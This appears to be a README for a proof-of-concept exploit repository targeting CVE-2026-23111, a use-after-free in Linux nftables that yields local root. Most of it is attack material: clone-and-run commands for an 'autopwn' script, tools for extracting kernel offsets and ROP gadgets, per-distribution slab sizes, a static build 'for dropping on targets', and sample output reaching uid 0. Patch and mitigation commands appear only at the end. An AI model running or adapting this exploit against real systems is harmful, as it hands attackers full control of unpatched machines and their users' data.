// WRONG (actual code) — skips the elements that need reactivation
if (!nft_set_elem_active(ext, genmask))
    continue;

// CORRECT (what it should be) — skips elements already active
if (nft_set_elem_active(ext, iter->genmask))
    return 0;

git clone https://github.com/Knz-source/CVE-2026-23111-POC-noddlenpottato
cd CVE-2026-23111-POC-noddlenpottato
python3 autopwn.py

python3 checker.py --detailed          # check if vulnerable / verifica se é vulneravel
python3 scripts/extract_offsets.py     # grab kernel offsets / pega offsets do kernel
python3 scripts/find_gadgets.py        # find ROP gadgets / encontra gadgets ROP
make                                   # build the exploit / compila o exploit
./exploit                              # pop root

.
├── autopwn.py                  full auto — detect, extract, compile, exploit
├── checker.py                  vulnerability checker (version, modules, userns, BTF)
├── exploit_61.c                base exploit (Debian 6.1.172 offsets, template for autopwn)
├── exploit/
│   ├── exploit.c               C exploit
│   ├── exploit.py              python wrapper with retry logic
│   └── exploit.rs              rust port (compiles static with musl)
├── scripts/
│   ├── extract_offsets.py      BTF/pahole offset extractor
│   ├── find_gadgets.py         ROP gadget finder (objdump/nm)
│   ├── slab_check.sh           slab cache analyzer
│   └── install_deps.sh         dependency installer
├── img/                        diagrams
├── Makefile                    build targets (C, Rust, deps)
├── EXPLOITATION.md             deep dive into the 5-phase exploit chain
├── DEBUGGING.md                step by step offset extraction and gadget hunting
└── CONSIDERATIONS.md           edge cases, bypasses, pitfalls

debian 6.1.172:   120 bytes → kmalloc-128
ubuntu 6.5.x:     136 bytes → kmalloc-192
ubuntu 6.8.x:     152 bytes → kmalloc-192
debian 5.15.x:    112 bytes → kmalloc-128

# C (recommended — fastest, proven)
make

# Rust (static binary with musl — good for dropping on targets)
make rust

# install build deps
make deps

$ id
uid=1000(user) gid=1000(user)

$ ./exploit
[*] CVE-2026-23111 nftables UAF -> LPE
[+] chain freed (kmalloc-128) + name freed (kmalloc-32)
[pwn] kbase = 0xffffffff9a400000
[pwn] my_task found at 0xffff8e4a1c084190
[pwn] canary = 0x5c6fa95dca98e100
[pwn] commit_creds(init_cred) -> ROP triggered
[+] root

# id
uid=0(root) gid=0(root) groups=0(root)

# update kernel to fixed version
apt upgrade linux-image-$(uname -r)

# or disable unprivileged user namespaces
sysctl -w kernel.unprivileged_userns_clone=0

# or blacklist nf_tables
echo 'install nf_tables /bin/true' >> /etc/modprobe.d/blacklist.conf